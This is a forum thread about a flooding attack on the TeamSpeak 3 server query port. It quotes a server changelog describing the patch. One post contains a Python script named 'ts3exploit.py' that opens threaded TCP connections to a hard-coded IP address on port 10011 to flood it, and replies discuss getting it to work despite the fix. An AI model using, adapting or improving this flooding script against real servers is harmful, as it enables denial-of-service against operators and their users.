Discussion Be aware from this script - TS3 SYN QUERY PORT FLOODING

InVaDeR359

Active Member
Joined
May 29, 2017
Messages
157
Likes
118
Points
72
Location
Error 403
#21
Now, this was fixed in version 3.0.13.8

=== Server Release 3.0.13.8 19 july 2017
+ Server Query connections now have a combined maximum buffer size. When this limit is exceeded,
the connection using the most memory is closed. The buffer size is controlled by the command
line variable "query_buffer_mb". The default is 20, which means the maximum amount of buffered
data is 20 megabyte. The mimimum is 1 megabyte. Make sure to only enter positive integer numbers
here.
* Connecting to the server query port, now counts as 1 command, with regard to flood protection.
- Fix client able to connect with no nickname
 

Bluscream

Retired Staff
Contributor
Joined
May 8, 2015
Messages
924
Likes
888
Points
160
Location
Germany
#23
I tried this but it doesn't seem to stay connected

Python:
# TeamSpeak 3 'SYN/TCP' Flooding With Treading
# Using: /usr/bin/python ts3exploit.py

import socket, threading, random
from asyncio import sleep
from traceback import format_exc
sockets = []

class MonitorThread(threading.Thread):
        targetAddress = "178.32.180.215"
        def run(self):
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((self.targetAddress, 10011))
                sockets.append(s)

for i in range(5):
    try:
        t = MonitorThread()
        t.start()
    except:
        print(i, format_exc())
print(len(sockets),"sockets:")
for socket in sockets:
    print(socket.send(b'whoami'))
while(True):
    print("waiting...")
    sleep(10000)
 

InVaDeR359

Active Member
Joined
May 29, 2017
Messages
157
Likes
118
Points
72
Location
Error 403
#24
As I said before @Bluscream
They have put a limit on the buffer size of query connections.
Now, this was fixed in version 3.0.13.8

=== Server Release 3.0.13.8 19 july 2017
+ Server Query connections now have a combined maximum buffer size. When this limit is exceeded,
the connection using the most memory is closed. The buffer size is controlled by the command
line variable "query_buffer_mb". The default is 20, which means the maximum amount of buffered
data is 20 megabyte. The mimimum is 1 megabyte. Make sure to only enter positive integer numbers
here.
* Connecting to the server query port, now counts as 1 command, with regard to flood protection.
- Fix client able to connect with no nickname
 

InVaDeR359

Active Member
Joined
May 29, 2017
Messages
157
Likes
118
Points
72
Location
Error 403
#26
I'm not familiar with Python but you need to find out what the script is doing different than a usual Yatqa query connection.
If you could write me the same code in PHP and succeed I think I can help you
 

Top